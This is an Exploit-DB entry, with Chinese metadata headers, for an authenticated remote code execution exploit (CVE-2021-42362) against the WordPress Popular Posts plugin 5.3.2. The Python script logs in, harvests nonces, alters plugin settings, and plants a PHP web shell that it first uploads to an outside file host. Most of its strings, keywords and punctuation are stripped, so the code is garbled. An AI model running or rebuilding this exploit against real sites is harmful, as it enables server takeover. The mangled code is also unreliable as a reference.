标题: WordPress Plugin Popular Posts 5.3.2 - Remote Code Execution (RCE) (Authenticated) EDB-ID: 50129 CVE: 2021-42362 类型: WEBAPPS 平台: PHP 发布日期: 2021-07-15 漏洞利用脚本: # Exploit Title: WordPress Plugin Popular Posts 5.3.2 - Remote Code Execution (RCE) (Authenticated)
# Date: 15/07/2021
# Exploit Author: Simone Cristofaro
# Vendor Homepage: https://it.wordpress.org/plugins/wordpress-popular-posts/
# Software Link: https://downloads.wordpress.org/plugin/wordpress-popular-posts.5.3.2.zip
# Version: 5.3.2 or below
# Tested on: Debian 10, WordPress 5.7.2, PHP version 7.3.27
# CVE: CVE-2021-42362
# Reference: https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/
# Notes: It's required that the Popular Posts widget is active (ie. in the footer section) and gd extension for PHP is








banner  
banner


 requests
 argparse
 json
 re

my_parser  argparseArgumentParserdescription
my_parseradd_argument  metavar  required dest
my_parseradd_argument   metavar default dest
my_parseradd_argument metavar  required dest
my_parseradd_argument  metavar  required dest
my_parseradd_argument  metavar  required dest
args  my_parserparse_args
target_ip  argstarget_ip
target_port  argstarget_port
wp_path  argswp_path
username  argsusername
password  argspassword



shell_name  
payload  





file_json  requestspost files   shell_name payload
resp  jsonloadsfile_jsontext
 resp
    urlshort  resp

     f resp
     exit

file_uploaded_site  requestsgeturlshorttext
PHP_URL  refindallrshell_namefile_uploaded_site  shell_name

f


session  requestsSession
auth_url    target_ip    target_port  wp_path  


header  
     target_ip
     
     
     
     
     
       target_ip
     
     



body  
     username
     password
     
     



auth  sessionpostauth_url headersheader databody
auth_header  authheaders
   auth_header
    f

    
    exit


settings_page_url    target_ip    target_port  wp_path  
settings_page  sessiongetsettings_page_urltext
search_string  
 settings_pagefindsearch_string   
    
    exit


settings_page_url    target_ip    target_port  wp_path  

settings_page  sessiongetsettings_page_urltext
search_string  
search_string_end  
settings_page  settings_pagesettings_pagefindsearch_string
wpp_admin_token  settings_page settings_pagefindsearch_string_end
 wpp_admin_token
    f

    
    exit


body  
     
     
     
     
     
     
     wpp_admin_token

applied_changes  sessionpostsettings_page_url headersheader databodytext
 applied_changesfind
    f

    
    exit


body  
     
     wpp_admin_token

applied_changes  sessionpostsettings_page_url headersheader databodytext
f



new_post_url    target_ip    target_port  wp_path  

new_post_page  sessiongetnew_post_urltext
search_string  
search_string_end  
new_post_page  new_post_pagenew_post_pagefindsearch_string
ajax_nonce  new_post_pagenew_post_pagefindsearch_string_end

search_string  
search_string_end  
new_post_page  new_post_pagenew_post_pagefindsearch_string
wp_nonce  new_post_pagenew_post_pagefindsearch_string_end

search_string  
search_string_end  
new_post_page  new_post_pagenew_post_pagefindsearch_string
post_ID  new_post_pagenew_post_pagefindsearch_string_end

 post_ID  wp_nonce  ajax_nonce
    f

      post_ID 
      wp_nonce 
      ajax_nonce   
    exit


new_post_url    target_ip    target_port  wp_path  post_ID

data  post_ID
header  wp_nonce
header  
header  
new_post_page  sessionpostnew_post_url headersheader jsondatatext
 new_post_pagefind
    f

    
    exit


new_post_url    target_ip    target_port  wp_path  

headerpop
header  
headerpop
header
header  
body  
     
     
     
     
      PHP_URL
     ajax_nonce
      post_ID

new_post_page  sessionpostnew_post_url headersheader databodytext

 new_post_pagefind  
    f

    
    new_post_page
    exit


f end

new_post_url    target_ip    target_port  wp_path    post_ID
redirect_url  sessiongetnew_post_urlurl

new_post_plugin_url    target_ip    target_port  wp_path  
data  
     wp_nonce
     post_ID
     
     



 progress  
    sessiongetredirect_url
    res  sessionpostnew_post_plugin_url headersheader datadata
      end

jsonloadsrestext


  target_ip    target_port  wp_path    post_ID  shell_name URL: https://www.exploit-db.com/exploits/50129